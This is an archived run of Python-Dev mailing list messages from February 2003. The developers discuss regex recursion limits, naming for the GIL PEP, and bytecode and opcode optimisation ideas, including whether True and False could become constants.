<200302260022.15512.gherron@islandtraining.com> References: <200302260022.15512.gherron@islandtraining.com> Message-ID: <3E5C8411.6080504@lemburg.com> Gary Herron wrote: > The first glance at the regular expression bug list and the _sre.c > code results in the observation that several of the bugs are related > to running over the recursion limit. The problem comes from using a > pattern containing ".*?" in a situation where it is expected to match > many thousands of characters. Each character matched by ".*?" causes > one level or recursion, quickly overflowing the recursion limit. Wouldn't it be possible for the RE compiler to issue a warning in case these kind of patterns are used ? This would be much more helpful than trying to work-around the user problem. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 26 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 34 days left EuroPython 2003, Charleroi, Belgium: 118 days left From gherron@islandtraining.com Wed Feb 26 10:58:43 2003 From: gherron@islandtraining.com (Gary Herron) Date: Wed, 26 Feb 2003 02:58:43 -0800 Subject: [Python-Dev] Some questions about maintenance of the regular expression code. In-Reply-To: <3E5C8411.6080504@lemburg.com> References: <200302260022.15512.gherron@islandtraining.com> <3E5C8411.6080504@lemburg.com> Message-ID: <200302260258.44868.gherron@islandtraining.com> On Wednesday 26 February 2003 01:08 am, M.-A. Lemburg wrote: > Gary Herron wrote: > > The first glance at the regular expression bug list and the _sre.c > > code results in the observation that several of the bugs are related > > to running over the recursion limit. The problem comes from using a > > pattern containing ".*?" in a situation where it is expected to match > > many thousands of characters. Each character matched by ".*?" causes > > one level or recursion, quickly overflowing the recursion limit. > > Wouldn't it be possible for the RE compiler to issue a warning in > case these kind of patterns are used ? This would be much more helpful > than trying to work-around the user problem. I think not. It's not the pattern that's the problem. A pattern containing ".*?" is perfectly legitimate and useful. The problem arises when the pattern is used on a string which has thousands of characters which match. By that point the RE compiler is right out of the picture. Gary Herron From mchermside@ingdirect.com Wed Feb 26 13:04:25 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Wed, 26 Feb 2003 08:04:25 -0500 Subject: [Python-Dev] Re: module extension search order - can it be changed? Message-ID: <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com> > > > Speaking entirely from a point of ignorance, why are the source = line #s=20 > > > not shown for frames that are implemented in modules loaded from=20 > > > zipimport? > >=20 > > Because the code printing the tracebacks doesn't know how to look > > inside a zip file. >=20 > Maybe, if the source file can't be found, it could > decompile the bytecode? Too clever by far. The peculiar way in which the comments disappear, the fact that the code is wrong when I used a (so-far-non-existent) peephole optimizer to optimize my .pyc files... I'd rather show NO line (so long as we still give file and line number) than try to guess in an overly clever manner. -- Michael Chermside From skip@pobox.com Wed Feb 26 13:53:22 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 26 Feb 2003 07:53:22 -0600 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> Message-ID: <15964.50898.230776.754217@montanaro.dyndns.org> Raymond> There is a piece of low hanging fruit in "while True" Raymond> constructs. If the code generator can recognize it, ... Yes, that would improve things, but it gets back to the issue that True isn't strictly speaking a constant, but has to be evaluated each pass around the loop. None is moving slowly toward becoming a true constant. Perhaps the same should be true of True and False. Skip From dave@boost-consulting.com Wed Feb 26 14:26:05 2003 From: dave@boost-consulting.com (David Abrahams) Date: Wed, 26 Feb 2003 09:26:05 -0500 Subject: [Python-Dev] Re: GIL Pep commentary References: <001f01c2dd21$91339010$530f8490@eden> Message-ID: "Mark Hammond" writes: >> Good job, Mark! > > Thanks! And while we are here, do you have any suggestions for the name, as > per the start of the PEP? > > I am starting to think PyThreadState_Ensure() and PyThreadState_Release() > are good enough names. I agree with you if you think that once you have "Ensure", "Auto" is a bit redundant. I personally like PyGIL_whatever; though people who understand this at a deeper level than I will probably say that there's more involved than just the GIL, for my purposes it's a simple matter: do you have the GIL or don't you? I've always used the word "Demand" to mean get/create it if it isn't already there, so PyDemandGIL and PyReleaseGIL have a certain ring to them. > The only problem is that they are not really part of the same > "family" as the other PyThreadState_* functions, and thus people may > assume they can mix-and-match them. OTOH, they clearly are > ThreadState related functions, so are at least cousins to the rest > of them! Given that you're explicitly saying "all bets are off if you mix-and-match these", I think making them very similar sounding is a mistake. > As far as I can tell, there are no technical issues remaining in this PEP - > only naming and clarification. Does anyone disagree with that? > > Keen-to-get-this-in-2.3 ly, keen-to-see-it-there-ly, -- Dave Abrahams Boost Consulting www.boost-consulting.com From neal@metaslash.com Wed Feb 26 14:32:06 2003 From: neal@metaslash.com (Neal Norwitz) Date: Wed, 26 Feb 2003 09:32:06 -0500 Subject: [Python-Dev] Bytecode idea In-Reply-To: <3E5C3915.6070600@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: <20030226143206.GV2041@epoch.metaslash.com> On Wed, Feb 26, 2003 at 04:48:37AM +0100, Christian Tismer wrote: > > Maybe it also makes sense to use indexing into a static > array, instead of the case construct. Note that there > can be one single such table for all opcodes and all cases, > since opcodes are still disjoint. It depends where this > table is stored and if this can get in the cache. > > While I don't know if this really makes the interpreter > more efficient, at least it makes it shorter to read > and maybe easier to maintain. Been there, done that: http://python.org/sf/693638 I already rejected the patch. :-) Making my own jump table, rather than using a switch was about 15% slower. Read the patch for more info. While I'm sure the patch could be improved, I don't think it would have made enough of a difference to make a change. Neal From tismer@tismer.com Wed Feb 26 15:02:59 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 16:02:59 +0100 Subject: [Python-Dev] Bytecode idea In-Reply-To: <00be01c2dd53$e7160800$125ffea9@oemcomputer> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a501c2dd4d$2f628040$125ffea9@oemcomputer> <3E5C437A.3030009@tismer.com> <00be01c2dd53$e7160800$125ffea9@oemcomputer> Message-ID: <3E5CD723.3010707@tismer.com> Raymond Hettinger wrote: > This is true. I used this in my optimization from two > years ago, and moved the oparg preparation into the > opcode cases, not doing any test, but just fetching > the argument. > > > What happened to the optimization. It is not in the > current code? No. At that time, ceval speedups were not popular, so I used the optimization just to make Stackless appear faster than CPython, although CPython would have been *even more* faster. >>I also turned this into macros which >>added to the insn pointer only once. >>Incredible but true: Most of the win I gathered was >>by typecasting the oparg access differently into >>a reference to a short int, instead of oring two >>bytes. > > > I skipped over that one because I thought that > it would fail on a big-endian computer. Sure it would fail. But on little endian like X86, it produced much faster code, so I only defined it for certain platforms. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Wed Feb 26 15:01:45 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:01:45 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: Your message of "Wed, 26 Feb 2003 07:53:22 CST." <15964.50898.230776.754217@montanaro.dyndns.org> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> Message-ID: <200302261501.h1QF1kN19036@odiug.zope.com> > None is moving slowly toward becoming a true constant. Perhaps the same > should be true of True and False. Problem with this is that there's currently lots of code out there that was recently modified to read try: True except NameError: True = 1 False = 0 That would become a syntax error if True/False were true constants. :-( --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Wed Feb 26 15:10:35 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 16:10:35 +0100 Subject: [Python-Dev] Re: Bytecode idea In-Reply-To: References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: <3E5CD8EB.8060700@tismer.com> Damien Morton wrote: > Christian Tismer wrote: > So what I would like to try is to merge all opcodes > which have exactly the same pattern into one case, > which then does the common preparation stuff and > postprocessing including error handling, but internally > dispatches on the function to be called. > > > I tried this on the 2.3a2 source, modifying it to implement your idea. > > This was implemented on top of the LOAD_FAST_n, etc, changes. > > No luck - it makes the code slower by nearly 5%, decreasing a base 22300 > PyStones to 21100 PyStones. That is, the idea of using function pointers. I > imagine that a case statement would be even slower. Too bad. Hmm. Would you mind to send me the source code? I'd like to see what code is generated. > I didnt implement the table of function pointers as one monolithic table, as > the unary and binary functions have different signatures. They could live in the same table, but probably this doesn't change memory layout at all. A case statement might or might not be slower, a branch might become a little more predictable than though a function table. And then, five percent is not bad. Did you measure how much code you saved in the binary? thanks - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Wed Feb 26 15:08:29 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:08:29 -0500 Subject: [Python-Dev] Re: module extension search order - can it be changed? In-Reply-To: Your message of "Wed, 26 Feb 2003 08:04:25 EST." <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com> References: <7F171EB5E155544CAC4035F0182093F03CF74D@INGDEXCHSANC1.ingdirect.com> Message-ID: <200302261508.h1QF8d819189@odiug.zope.com> > > Maybe, if the source file can't be found, it could > > decompile the bytecode? > > Too clever by far. The peculiar way in which the comments disappear, > the fact that the code is wrong when I used a (so-far-non-existent) > peephole optimizer to optimize my .pyc files... I'd rather show NO > line (so long as we still give file and line number) than try to > guess in an overly clever manner. I thought for sure Greg had left off the smiley. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Wed Feb 26 15:14:14 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 26 Feb 2003 09:14:14 -0600 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <200302261501.h1QF1kN19036@odiug.zope.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> Message-ID: <15964.55750.86825.114047@montanaro.dyndns.org> >> None is moving slowly toward becoming a true constant. Perhaps the >> same should be true of True and False. Guido> Problem with this is that there's currently lots of code out Guido> there that was recently modified to read Guido> try: Guido> True Guido> except NameError: Guido> True = 1 Guido> False = 0 Guido> That would become a syntax error if True/False were true Guido> constants. :-( Hmmm... Those code blocks would only be executed on older versions of the interpreter. Is there some way to use that knowledge to finesse the problem? It would be a real hack, but if the compiler recognized precisely the above construct (or at least assignment in an except block guarded by NameError), it could shut up about the assignment. Skip From tismer@tismer.com Wed Feb 26 15:20:45 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 16:20:45 +0100 Subject: [Python-Dev] Bytecode idea In-Reply-To: <20030226143206.GV2041@epoch.metaslash.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <20030226143206.GV2041@epoch.metaslash.com> Message-ID: <3E5CDB4D.708@tismer.com> Neal Norwitz wrote: > On Wed, Feb 26, 2003 at 04:48:37AM +0100, Christian Tismer wrote: > >>Maybe it also makes sense to use indexing into a static >>array, instead of the case construct. Note that there >>can be one single such table for all opcodes and all cases, >>since opcodes are still disjoint. It depends where this >>table is stored and if this can get in the cache. >> >>While I don't know if this really makes the interpreter >>more efficient, at least it makes it shorter to read >>and maybe easier to maintain. > > Been there, done that: http://python.org/sf/693638 > > I already rejected the patch. :-) Making my own jump table, rather > than using a switch was about 15% slower. Oh, that was not what I meant. I also did this two years ago and tossed it. Function calls are too expensive. What I mean was to fold opcodes by common patterns. Unfortunately this is slower, too. Anyway, I didn't want to get too deep into this. Stopping wasting time now :-) cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From mchermside@ingdirect.com Wed Feb 26 15:23:55 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Wed, 26 Feb 2003 10:23:55 -0500 Subject: [Python-Dev] Re: module extension search order - can it be changed? Message-ID: <7F171EB5E155544CAC4035F0182093F04211DD@INGDEXCHSANC1.ingdirect.com> Guido: > I thought for sure Greg had left off the smiley. Oh. Yes. Of course. what-can-I-say-it-was-early-in-the-morning -- Michael Chermside From guido@python.org Wed Feb 26 15:26:33 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:26:33 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: Your message of "Wed, 26 Feb 2003 00:59:11 EST." <000101c2dd5c$2fdcbb80$6401a8c0@damien> References: <000101c2dd5c$2fdcbb80$6401a8c0@damien> Message-ID: <200302261526.h1QFQXU19266@odiug.zope.com> > I implemented LOAD_FAST_n, STORE_FAST_n, LOAD_CONST_n for n < 16 > > Getting a small 2% improvement in speed > Going from about 21800 PyStones to 22300 PyStones; very hard to get > consistent readings on the PyStones - anyone got any tips on how to get > more consistent results under windows? Upgrade to a real operating system. :-) > Getting a small 3% reduction in .pyc filesizes > os.path 24,929 unmodified > os.path 24,149 with modifications > > I sort of cheated on the switch statement to avoid the use of a goto. > > opcode = NEXTOP(); > if (HAS_ARG(opcode)) > oparg = NEXTARG(); > ... > switch (opcode) { > ... > case LOAD_FAST_14: > case LOAD_FAST_15: > oparg = opcode - LOAD_FAST_0; > case LOAD_FAST: > x = GETLOCAL(oparg); > if (x != NULL) { > Py_INCREF(x); > ... This is ok. > I also altered the opcode.h file to use an enum for the opcodes instead > of all those #defines. Much easier to re-arrange things that way. I have > a feeling that most of the speedup (such that it is) comes from that > re-arrangment, which packs the opcodes into a contiguous numeric space. > I suspect that sorting the opcodes by frequency of access might also > have some positive effect. Also, organising the opcodes and the switch > statement so that frequently co-occuring opcodes are adjacent to each > other might also have some positive effect. Try that without the LOAD_XXX_n idea, so you can measure the effect of each idea separately. One problem with renumbering the opcodes is that you have to update the "dis" module, which exports the opcodes as Python constants. Maybe you should add some code there to regenerate the values from the .h file, as is done in keyword.py and symbol.py. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Wed Feb 26 15:35:12 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 26 Feb 2003 09:35:12 -0600 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302261526.h1QFQXU19266@odiug.zope.com> References: <000101c2dd5c$2fdcbb80$6401a8c0@damien> <200302261526.h1QFQXU19266@odiug.zope.com> Message-ID: <15964.57008.761437.319312@montanaro.dyndns.org> Guido> One problem with renumbering the opcodes is that you have to Guido> update the "dis" module, which exports the opcodes as Python Guido> constants. Maybe you should add some code there to regenerate Guido> the values from the .h file, as is done in keyword.py and Guido> symbol.py. I have long had a version of dis.py which imports opcode info from a separate opcodes.py. Perhaps it's time to make that change. opcodes.py could then be mostly generated automatically from Include/opcode.h. (The reason for separating this out is to make opcode info available to other modules, like peephole optimizers.) Should I submit a patch? Skip From guido@python.org Wed Feb 26 15:37:54 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:37:54 -0500 Subject: [Python-Dev] Bytecode idea In-Reply-To: Your message of "Wed, 26 Feb 2003 04:48:37 +0100." <3E5C3915.6070600@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> Message-ID: <200302261538.h1QFc0M19322@odiug.zope.com> Excuse me for not following this thread closely. I believe many of these ideas have been suggested before, but most haven't been benchmarked rigorously. If you really want fame and fortune, try designing a more representative benchmark. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 26 15:50:53 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:50:53 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: Your message of "Wed, 26 Feb 2003 09:14:14 CST." <15964.55750.86825.114047@montanaro.dyndns.org> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org> Message-ID: <200302261550.h1QFotD19435@odiug.zope.com> > >> None is moving slowly toward becoming a true constant. Perhaps the > >> same should be true of True and False. > > Guido> Problem with this is that there's currently lots of code out > Guido> there that was recently modified to read > > Guido> try: > Guido> True > Guido> except NameError: > Guido> True = 1 > Guido> False = 0 > > Guido> That would become a syntax error if True/False were true > Guido> constants. :-( > > Hmmm... Those code blocks would only be executed on older versions of the > interpreter. Is there some way to use that knowledge to finesse the > problem? It would be a real hack, but if the compiler recognized precisely > the above construct (or at least assignment in an except block guarded by > NameError), it could shut up about the assignment. You would have to do a fairly significant analysis of all code in the module to know that there are no assignments to globals True or False anywhere, *and* you would have to add a heuristic to cope with the very code fragment above, *and* you would have to have a firm belief that no other code would do import foo foo.True = "True" I've often mentioned the first item above (per-module code analysis) as doable, but it's not done. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 26 15:52:16 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 10:52:16 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: Your message of "Wed, 26 Feb 2003 09:35:12 CST." <15964.57008.761437.319312@montanaro.dyndns.org> References: <000101c2dd5c$2fdcbb80$6401a8c0@damien> <200302261526.h1QFQXU19266@odiug.zope.com> <15964.57008.761437.319312@montanaro.dyndns.org> Message-ID: <200302261552.h1QFqHa19452@odiug.zope.com> > I have long had a version of dis.py which imports opcode info from > a separate opcodes.py. Perhaps it's time to make that change. opcodes.py > could then be mostly generated automatically from Include/opcode.h. > > (The reason for separating this out is to make opcode info available to > other modules, like peephole optimizers.) > > Should I submit a patch? Yes please! --Guido van Rossum (home page: http://www.python.org/~guido/) From fdrake@acm.org Wed Feb 26 16:00:11 2003 From: fdrake@acm.org (Fred L. Drake, Jr.) Date: Wed, 26 Feb 2003 11:00:11 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <15964.55750.86825.114047@montanaro.dyndns.org> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org> Message-ID: <15964.58507.610959.438537@grendel.zope.com> Skip Montanaro writes: > Hmmm... Those code blocks would only be executed on older versions of the > interpreter. Is there some way to use that knowledge to finesse the > problem? It would be a real hack, but if the compiler recognized precisely > the above construct (or at least assignment in an except block guarded by > NameError), it could shut up about the assignment. Another possibility would be that in a module containing *no* assignments to True and False, references could be converted to special byte codes. Not quite the same, but allows for optimizations at any rate. -Fred -- Fred L. Drake, Jr. PythonLabs at Zope Corporation From Paul Hughett Wed Feb 26 16:04:12 2003 From: Paul Hughett (Paul Hughett) Date: Wed, 26 Feb 2003 11:04:12 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <15964.55750.86825.114047@montanaro.dyndns.org> (message from Skip Montanaro on Wed, 26 Feb 2003 09:14:14 -0600) References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org> Message-ID: <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> Guido> Problem with this is that there's currently lots of code out Guido> there that was recently modified to read Guido> try: Guido> True Guido> except NameError: Guido> True = 1 Guido> False = 0 Guido> That would become a syntax error if True/False were true Guido> constants. :-( > Hmmm... Those code blocks would only be executed on older versions of the > interpreter. Is there some way to use that knowledge to finesse the > problem? It would be a real hack, but if the compiler recognized precisely > the above construct (or at least assignment in an except block guarded by > NameError), it could shut up about the assignment. Would it be simpler to institute a special rule that True = 1 is silently ignored, but True = anything else generates an error message? Or am I overlooking something important? If you want to handle assigning to True an expression whose value is known only at run time, translate it into if expression != 1 : raise Exception, "Attempt to assign invalid value to True" which would give a run-time error without costing cycles anywhere else. Paul Hughett From guido@python.org Wed Feb 26 16:14:35 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 26 Feb 2003 11:14:35 -0500 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: Your message of "Wed, 26 Feb 2003 11:04:12 EST." <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> Message-ID: <200302261614.h1QGEaZ20140@odiug.zope.com> > Would it be simpler to institute a special rule that True = 1 is silently > ignored, but True = anything else generates an error message? Or am I > overlooking something important? Some people prefer True = (1 > 0) because this accesses the special integer (with value 1) that is used by the interpreter for the outcome of boolean results . > If you want to handle assigning to True an expression whose value is > known only at run time, translate it into > > if expression != 1 : > raise Exception, "Attempt to assign invalid value to True" > > which would give a run-time error without costing cycles anywhere else. I suggest you try coming up with a patch for that to see how much work it is. I expect it to be tough. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Wed Feb 26 16:22:24 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 26 Feb 2003 10:22:24 -0600 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> Message-ID: <15964.59840.342254.176499@montanaro.dyndns.org> Paul> Would it be simpler to institute a special rule that True = 1 is Paul> silently ignored, but True = anything else generates an error Paul> message? Or am I overlooking something important? For code that wants to cleanly cross the boundary between Python with no boolean type and Python with a boolean type, you sometimes see True = 1==1 False = 1==0 You get True and False if it didn't exist before and have the added benefit that if it does exist, it gets found in globals() or locals() instead of in __builtins__ and has the right type. Skip From tismer@tismer.com Wed Feb 26 16:27:04 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 17:27:04 +0100 Subject: [Python-Dev] Code Generation Idea Was: Bytecode idea In-Reply-To: <200302261614.h1QGEaZ20140@odiug.zope.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> <3E5C21E0.5010003@tismer.com> <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net> <3E5C32D0.4020509@tismer.com> <3E5C3915.6070600@tismer.com> <00a101c2dd4c$52ee5800$125ffea9@oemcomputer> <15964.50898.230776.754217@montanaro.dyndns.org> <200302261501.h1QF1kN19036@odiug.zope.com> <15964.55750.86825.114047@montanaro.dyndns.org> <200302261604.h1QG4CX20050@mercur.uphs.upenn.edu> <200302261614.h1QGEaZ20140@odiug.zope.com> Message-ID: <3E5CEAD8.3010701@tismer.com> Guido van Rossum wrote: ... >>If you want to handle assigning to True an expression whose value is >>known only at run time, translate it into >> >> if expression != 1 : >> raise Exception, "Attempt to assign invalid value to True" hehe. raise Exception, "Attempt to re-define truth :-)" >>which would give a run-time error without costing cycles anywhere else. > > > I suggest you try coming up with a patch for that to see how much work > it is. I expect it to be tough. Yes. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From jeremy@zope.com Wed Feb 26 16:55:29 2003 From: jeremy@zope.com (Jeremy Hylton) Date: Wed, 26 Feb 2003 11:55:29 -0500 Subject: [Python-Dev] Bytecode idea In-Reply-To: <3E5CDB4D.708@tismer.com> Message-ID: Chris Tismer wrote: > Oh, that was not what I meant. I also did this > two years ago and tossed it. Function calls > are too expensive. > What I mean was to fold opcodes by common patterns. > Unfortunately this is slower, too. > > Anyway, I didn't want to get too deep into this. > Stopping wasting time now :-) Chris already knows this, but it's worth repeating for people who don't. A function call isn't always too expensive, it depends on how much work the opcode is doing. And it depends on lots of other hard-to-predict effects of the generated code and its interaction with the memory system. The various function call opcodes regularly call out to separate functions. I recall benchmarking various options and often moving big chunks of code out of the mainloop and into functions improved performance slightly. Except when it didn't <0.3 wink>. If you are benchmarking various opcode effects, I'd recommend trying to revive the 